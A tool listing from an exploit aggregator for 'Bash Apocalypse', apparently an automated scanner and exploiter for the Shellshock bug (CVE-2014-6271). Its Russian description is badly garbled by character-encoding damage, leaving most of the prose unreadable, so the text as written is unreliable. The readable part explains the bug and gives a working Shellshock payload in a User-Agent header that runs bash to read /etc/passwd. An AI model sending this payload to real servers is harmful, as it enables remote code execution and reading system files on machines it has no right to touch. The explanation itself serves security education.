## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MTAHA-SEC-BASH-APOCALYPSE
# Bash Apocalypse
**ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΉ Π΄Π»Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ CVE-2014-6271 (Shellshock)**
 
ΠΠΎΠ»Π½ΠΎΡΠ΅Π½Π½ΡΠΉ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠΉ ΠΏΡΠΎΠ΅ΠΊΡ Π² ΠΎΠ±Π»Π°ΡΡΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ, Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΡΡΡΠΈΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Shellshock, ΠΊΠΎΡΠΎΡΠ°Ρ Π² 2014 Π³ΠΎΠ΄Ρ Π·Π°ΡΡΠΎΠ½ΡΠ»Π° ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ². ΠΠΊΠ»ΡΡΠ°Π΅Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΠΈ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΠΈ ΠΏΠΎ Π·Π°ΡΠΈΡΠ΅.
Demo
* * *
## Π§ΡΠΎ ΡΠ°ΠΊΠΎΠ΅ Shellshock?
Shellshock (CVE-2014-6271) β ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠ΅ Bash, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ°Ρ ΡΠ΄Π°Π»ΡΠ½Π½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΊΠΎΠ΄ ΠΏΡΡΡΠΌ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΡΡΠΈΠΈ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠΌΠΈ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡ. ΠΠ±Π½Π°ΡΡΠΆΠ΅Π½Π½Π°Ρ Π² 2014 Π³ΠΎΠ΄Ρ ΠΏΠΎΡΠ»Π΅ 22 Π»Π΅Ρ ΡΡΡΠ΅ΡΡΠ²ΠΎΠ²Π°Π½ΠΈΡ, ΠΎΠ½Π° Π·Π°ΡΡΠΎΠ½ΡΠ»Π° ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ ΡΠΈΡΡΠ΅ΠΌ Unix/Linux ΠΏΠΎ Π²ΡΠ΅ΠΌΡ ΠΌΠΈΡΡ.
**ΠΠ°ΠΊ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ:**
root@kitploit:~
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
ΠΠ΅Π±-ΡΠ΅ΡΠ²Π΅ΡΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠ΅ CGI, ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² Bash ΠΊΠ°ΠΊ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡ, ΡΡΠΎ Π΄Π΅Π»Π°Π΅Ρ ΠΈΡ
ΡΡΠ·Π²ΠΈΠΌΡΠΌΠΈ:
root@kitploit:~
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'